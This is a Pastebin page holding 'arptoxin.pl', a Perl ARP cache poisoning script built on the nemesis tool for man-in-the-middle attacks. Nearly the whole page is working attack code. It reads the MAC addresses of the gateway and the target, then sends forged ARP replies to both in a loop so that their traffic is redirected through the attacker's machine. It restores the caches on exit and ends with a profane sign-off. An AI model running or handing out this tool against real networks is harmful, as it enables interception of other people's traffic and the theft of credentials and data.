Advertisement
infodox

arptoxin.pl

Nov 25th, 2011
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.12 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. $device = shift; # First command line arg... interface to use...
  4. $SIG{INT} = \&cleanup; # Trap for CTRL + C, and send to Cleanup
  5. $flag = 1;
  6. $gw = shift; # Second command line arg, gateway IP address...
  7. $targ = shift; # Third command line arg, target IP address...
  8. $interval = shift; # Fourth command line arg, setting the Interval...
  9.  
  10. print "    *     ****  ****   *****  *** *   * * *   * \n";
  11. print "   * *    *   * *   *    *   *   * * *  * **  * \n";
  12. print "  *****   ****  **** *** *   * * *  *   * * * * \n";
  13. print " *     *  *   * *        *   *   * * *  * *  ** \n";
  14. print "*       * *   * *        *    *** *   * * *   * \n";
  15. print "arptoxin.pl - ARP Cache Poisoning Utility\n";
  16. print "Uses Nemesis to poison ARP caches for MITM attacks\n";
  17. print "Based on example code from Hacking: The Art of Exploitation\n";
  18. print "Improved version allows user-setting of interface and interval...\n";
  19. print "This variant by infodox - http://compsoc.nuigalway.ie/~infodox \n";
  20.  
  21. if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)
  22. {  # Preform input validation, if bad, exit.
  23.   die("usage: arptoxin.pl <interface> <gateway> <target> <interval>\n");
  24. }
  25.  
  26. # Quickly ping each target to put the MAC addresses in cache...
  27. print "[+] Pinging $gw and $targ to retrieve MAC addresses...\n";
  28. print "[+] Using $device as interface...\n";
  29. system("ping -q -c 1 -w 1 $gw > /dev/null");
  30. system("ping -q -c 1 -w 1 $targ > /dev/null");
  31.  
  32. # Pull those addresses from the ARP cache...
  33. print "[+] Retrieving MAC addresses from ARP cache...\n";
  34. $gw_mac = qx[/sbin/arp -na $gw];
  35. $gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17);
  36. $targ_mac = qx[/sbin/arp -na $targ];
  37. $targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);
  38.  
  39. # If they're not both there, exit...
  40. if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
  41. {
  42.   die("[-] MAC address of $gw not found.\n");
  43. }
  44.  
  45. if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
  46. {
  47.   die("[-] MAC address of $targ not found.\n");
  48. }
  49.  
  50. # Get your IP and MAC
  51. print "[+] Retrieving your IP and MAC infodox from ifconfig...\n";
  52. @ifconf = split(" ", qx[/sbin/ifconfig $device]);
  53. $me = substr(@ifconf[6], 5); # getting your IP
  54. $me_mac = @ifconf[4]; # Getting your MAC
  55.  
  56. print "[*] Gateway: $gw is at $gw_mac \n"; # Just printing infodox for the (l)user...
  57. print "[*] Target:  $targ is at $targ_mac \n";
  58. print "[*] You:     $me is at $me_mac \n";
  59. print "[*] Poisoning with interval $interval \n";
  60. while($flag)
  61. { # Continue poisoning until CTRL + C
  62.   print "[+] Redirecting:  $gw -> $me_mac <- $targ";
  63.   system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H $me_mac -M $gw_mac");
  64.   system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac");
  65.   sleep $interval;
  66. }
  67.  
  68. sub cleanup
  69. { # Put things back to normal...
  70.   $flag = 0;
  71. print "[-] Ctrl-C caught, exiting cleanly.\n[+] Putting ARP caches back to normal...";
  72.   system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H $gw_mac -M $targ_mac");
  73.   system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H $targ_mac -M $gw_mac");
  74. }
  75. #EOF Motherfuckers!!
  76.  
  77.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement